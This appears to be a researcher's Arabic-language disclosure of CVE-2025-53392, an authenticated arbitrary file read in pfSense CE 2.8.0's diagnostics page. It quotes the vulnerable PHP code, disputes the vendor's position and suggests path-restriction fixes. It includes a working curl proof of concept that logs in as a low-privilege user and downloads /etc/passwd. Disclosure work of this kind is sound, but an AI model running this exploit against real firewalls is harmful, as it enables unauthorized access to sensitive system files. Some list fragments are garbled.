
قراءة ملفات تعسفية بعد المصادقة في pfSense 2.8.0 عبر واجهة الويب للتشخيص (CVE-2025-53392)
CVE-2025-53392CWE-36 (اجتياز المسار المطلق)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:Nلأغراض الاختبار والبحث المصرّح بها فقط. لا تختبر أو تستغل هذه الثغرة على أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
يحتوي pfSense CE 2.8.0 على ثغرة كشف ملفات محلية في صفحة التشخيص diag_command.php، والتي تسمح للمستخدمين الموثّقين بتنزيل ملفات عشوائية من نظام الملفات الأساسي.
تفتقر هذه الوظيفة إلى أي تنقية للمسار، أو تقييد للدليل، أو ضوابط وصول تتجاوز تعيين الصلاحيات.
يقع المنطق المعرّض للثغرة في الملف src/usr/local/www/diag_command.php:
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
session_cache_limiter('public');
send_user_download('file', $_POST['dlPath']);
}
لا توجد أي فحوصات أمنية أو إجراءات تنقية مطبّقة على المعامل dlPath الذي يتحكم فيه المستخدم.
سيتم إرسال أي مسار ملف يمكن لعملية PHP قراءته إلى المستخدم.
أنشئ مجموعة low-priv وعيّن صلاحية واحدة (WebCfg - Diagnostics: Command)

ورغم أنني أقرّ بوجود إخلاء مسؤولية أمني لصلاحية
WebCfg - Diagnostics: Command، فإن إخلاءات المسؤولية وحدها لا تعوّض ضوابط الوصول السليمة.عبارة "السماح بالوصول إلى صفحة أوامر التشخيص" غامضة وتقلل من خطورة المخاطر؛ فهي تتيح تنفيذ أوامر غير مقيد على مستوى الجذر، وليس مجرد وصول تشخيصي.
يجب أن تعكس تسميات الصلاحيات في واجهة الويب بدقة نطاق وخطورة الإجراءات التي تسمح بها، خاصة عندما تكشف عن تحكم إداري كامل.
عيّن مجموعة low-priv للمستخدم dev

يُظهر إثبات المفهوم هذا أن المستخدم الذي لديه صلاحية WebCfg - Diagnostics: Command فقط يمكنه تسريب /etc/passwd عبر إساءة استخدام المعامل dlPath غير المنقّى.
# 1. Start session and extract CSRF token
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 2. Authenticate as low-privileged user "dev"
curl -k -b cookies.txt -c cookies.txt \
-d "__csrf_magic=$csrf_token" \
-d "usernamefld=dev" \
-d "passwordfld=pass" \
-d "login=Sign+In" \
https://<IP>/index.php > /dev/null
# 3. Get CSRF token post-login
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 4. Exfiltrate arbitrary file (example: /etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
-d "__csrf_magic=$csrf_token" \
-d "submit=DOWNLOAD" \
-d "dlPath=/etc/passwd"

يمكن لأي مستخدم pfSense مُنح صلاحية WebCfg - Diagnostics: Command أن:
ينتهك هذا مبدأ الامتياز الأقل ويكسر الحدود المنطقية للصلاحيات.
dlPath على دليل أساسي آمن (مثل /tmp) باستخدام realpath() وفرض البادئة.. أو المسارات المطلقةCVE-2025-53392 مع وسم "متنازع عليه من البائع"في حين يؤكد البائع أن الوصول إلى هذه الصفحة يعادل صلاحيات الجذر، فإن هذا يخلط بين صلاحيات مستوى الويب والوصول غير المقيد إلى الواجهة الخلفية.
يجب فرض الصلاحيات تقنيًا (وليس افتراضها)، والتحذيرات في الواجهة ليست بديلاً عن التصميم الآمن.
بمناقشة ادعاء البائع بأن هذه الوظيفة "موثقة جيدًا" - لم أجد أي ذكر في وثائق صلاحيات المستخدم في pfSense يوضح أن صلاحية WebCfg - Diagnostics: Command تعادل وصولًا على مستوى الجذر.

ربما كان البائع يشير إلى صفحة أوامر التشخيص، والتي تتضمن تحذيرًا عامًا بشأن إساءة الاستخدام.
لكن الوثائق لا تربط هذه الوظيفة صراحةً بصلاحية WebCfg - Diagnostics: Command أو توضح أنها تمنح وصولًا على مستوى الجذر.
يجب أن تحتوي وحدة التشخيص في واجهة الويب لجدار الحماية على ضمانات مناسبة لمنع إساءة الاستخدام ضد نظام التشغيل الأساسي.
/tmp, /var/log).أُجري هذا العمل خارج نطاق وظيفتي ويعكس جهودي الشخصية في مجال أبحاث أمن المعلومات.